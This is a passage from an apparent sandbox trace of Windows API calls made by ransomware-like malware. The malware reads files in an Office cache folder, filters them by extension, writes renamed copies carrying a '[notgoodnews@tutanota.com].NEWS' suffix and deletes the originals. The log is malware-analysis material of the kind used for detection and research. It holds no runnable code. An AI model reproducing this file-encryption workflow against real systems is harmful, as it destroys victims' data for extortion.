hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.753] WriteFile (in: hFile=0x200, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.757] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0065.757] WriteFile (in: hFile=0x200, lpBuffer=0x3ef4860*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef4860*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0065.761] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef4860 | out: hHeap=0x5c0000) returned 1 [0065.761] CloseHandle (hObject=0x200) returned 1 [0065.761] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0065.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.762] lstrlenW (lpString=".doc") returned 4 [0065.762] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString=".docx") returned 5 [0065.762] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0065.762] lstrlenW (lpString=".pdf") returned 4 [0065.762] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString=".xls") returned 4 [0065.762] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString=".xlsx") returned 5 [0065.762] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0065.762] lstrlenW (lpString=".ppt") returned 4 [0065.762] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.762] lstrlenW (lpString=".zip") returned 4 [0065.762] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString=".rar") returned 4 [0065.762] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0065.762] lstrlenW (lpString=".bz2") returned 4 [0065.763] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0065.763] lstrlenW (lpString=".7z") returned 3 [0065.763] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0065.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.763] lstrlenW (lpString=".dbf") returned 4 [0065.763] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0065.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.763] lstrlenW (lpString=".1cd") returned 4 [0065.763] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0065.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.763] lstrlenW (lpString=".jpg") returned 4 [0065.763] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0065.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.763] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.763] lstrlenW (lpString=".doc") returned 4 [0065.763] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0065.763] lstrlenW (lpString=".docx") returned 5 [0065.763] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0065.763] lstrlenW (lpString=".pdf") returned 4 [0065.763] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString=".xls") returned 4 [0065.764] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString=".xlsx") returned 5 [0065.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0065.764] lstrlenW (lpString=".ppt") returned 4 [0065.764] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.764] lstrlenW (lpString=".zip") returned 4 [0065.764] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString=".rar") returned 4 [0065.764] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString=".bz2") returned 4 [0065.764] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0065.764] lstrlenW (lpString=".7z") returned 3 [0065.764] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0065.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.764] lstrlenW (lpString=".dbf") returned 4 [0065.764] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0065.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.764] lstrlenW (lpString=".1cd") returned 4 [0065.764] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0065.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0065.764] lstrlenW (lpString=".jpg") returned 4 [0065.765] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0065.765] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0065.765] lstrlenW (lpString="dwdcw20.dll") returned 11 [0065.765] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0065.765] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=526176) returned 1 [0065.765] CloseHandle (hObject=0x200) returned 1 [0065.765] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 0x2020 [0065.766] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0065.766] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.766] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.767] GetLastError () returned 0x0 [0065.767] ReadFile (in: hFile=0x200, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x80760, lpOverlapped=0x0) returned 1 [0065.827] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0065.846] ReadFile (in: hFile=0x200, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.846] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xea, lpOverlapped=0x0) returned 1 [0065.847] SetEndOfFile (hFile=0x1ac) returned 1 [0065.847] CloseHandle (hObject=0x1ac) returned 1 [0065.847] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.847] SetEndOfFile (hFile=0x200) returned 1 [0065.859] CloseHandle (hObject=0x200) returned 1 [0065.859] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0065.859] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0065.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.860] lstrlenW (lpString=".doc") returned 4 [0065.860] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString=".docx") returned 5 [0065.860] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0065.860] lstrlenW (lpString=".pdf") returned 4 [0065.860] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString=".xls") returned 4 [0065.860] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString=".xlsx") returned 5 [0065.860] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0065.860] lstrlenW (lpString=".ppt") returned 4 [0065.860] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.860] lstrlenW (lpString=".zip") returned 4 [0065.860] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString=".rar") returned 4 [0065.860] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0065.860] lstrlenW (lpString=".bz2") returned 4 [0065.860] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0065.860] lstrlenW (lpString=".7z") returned 3 [0065.861] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0065.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.861] lstrlenW (lpString=".dbf") returned 4 [0065.861] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0065.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.861] lstrlenW (lpString=".1cd") returned 4 [0065.861] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0065.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.861] lstrlenW (lpString=".jpg") returned 4 [0065.861] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0065.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0065.861] lstrlenW (lpString=".doc") returned 4 [0065.861] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.861] lstrlenW (lpString=".docx") returned 5 [0065.861] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0065.861] lstrlenW (lpString=".pdf") returned 4 [0065.861] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.861] lstrlenW (lpString=".xls") returned 4 [0065.861] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.861] lstrlenW (lpString=".xlsx") returned 5 [0065.862] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0066.156] lstrlenW (lpString=".ppt") returned 4 [0066.157] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0066.157] lstrlenW (lpString=".zip") returned 4 [0066.157] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.157] lstrlenW (lpString=".rar") returned 4 [0066.157] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.157] lstrlenW (lpString=".bz2") returned 4 [0066.157] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.157] lstrlenW (lpString=".7z") returned 3 [0066.157] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0066.157] lstrlenW (lpString=".dbf") returned 4 [0066.157] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0066.157] lstrlenW (lpString=".1cd") returned 4 [0066.157] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0066.157] lstrlenW (lpString=".jpg") returned 4 [0066.157] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.158] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0066.158] lstrlenW (lpString="msvcr90.dll") returned 11 [0066.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.158] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=655872) returned 1 [0066.158] CloseHandle (hObject=0x214) returned 1 [0066.158] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0066.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.159] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.159] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0066.159] GetLastError () returned 0x0 [0066.159] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xa0200, lpOverlapped=0x0) returned 1 [0066.178] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xa0210, lpOverlapped=0x0) returned 1 [0066.199] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.199] WriteFile (in: hFile=0x1ec, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.199] SetEndOfFile (hFile=0x1ec) returned 1 [0066.199] CloseHandle (hObject=0x1ec) returned 1 [0066.199] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.199] SetEndOfFile (hFile=0x214) returned 1 [0066.413] CloseHandle (hObject=0x214) returned 1 [0066.414] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0066.414] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0066.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.414] lstrlenW (lpString=".doc") returned 4 [0066.414] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.414] lstrlenW (lpString=".docx") returned 5 [0066.415] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0066.415] lstrlenW (lpString=".pdf") returned 4 [0066.415] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.415] lstrlenW (lpString=".xls") returned 4 [0066.415] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.415] lstrlenW (lpString=".xlsx") returned 5 [0066.415] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0066.415] lstrlenW (lpString=".ppt") returned 4 [0066.415] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.415] lstrlenW (lpString=".zip") returned 4 [0066.415] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.415] lstrlenW (lpString=".rar") returned 4 [0066.415] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.415] lstrlenW (lpString=".bz2") returned 4 [0066.415] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.415] lstrlenW (lpString=".7z") returned 3 [0066.415] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.415] lstrlenW (lpString=".dbf") returned 4 [0066.415] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.415] lstrlenW (lpString=".1cd") returned 4 [0066.416] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.416] lstrlenW (lpString=".jpg") returned 4 [0066.416] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.416] lstrlenW (lpString=".doc") returned 4 [0066.416] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.416] lstrlenW (lpString=".docx") returned 5 [0066.416] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0066.416] lstrlenW (lpString=".pdf") returned 4 [0066.416] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.416] lstrlenW (lpString=".xls") returned 4 [0066.416] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.416] lstrlenW (lpString=".xlsx") returned 5 [0066.416] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0066.416] lstrlenW (lpString=".ppt") returned 4 [0066.416] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.416] lstrlenW (lpString=".zip") returned 4 [0066.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.417] lstrlenW (lpString=".rar") returned 4 [0066.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.417] lstrlenW (lpString=".bz2") returned 4 [0066.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.417] lstrlenW (lpString=".7z") returned 3 [0066.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.417] lstrlenW (lpString=".dbf") returned 4 [0066.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.417] lstrlenW (lpString=".1cd") returned 4 [0066.417] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0066.417] lstrlenW (lpString=".jpg") returned 4 [0066.417] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.417] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0066.418] lstrlenW (lpString="osetupui.dll") returned 12 [0066.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.418] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=191872) returned 1 [0066.418] CloseHandle (hObject=0x214) returned 1 [0066.418] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0066.418] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0066.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0066.419] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.419] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0066.419] GetLastError () returned 0x0 [0066.419] ReadFile (in: hFile=0x214, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0066.432] WriteFile (in: hFile=0x208, 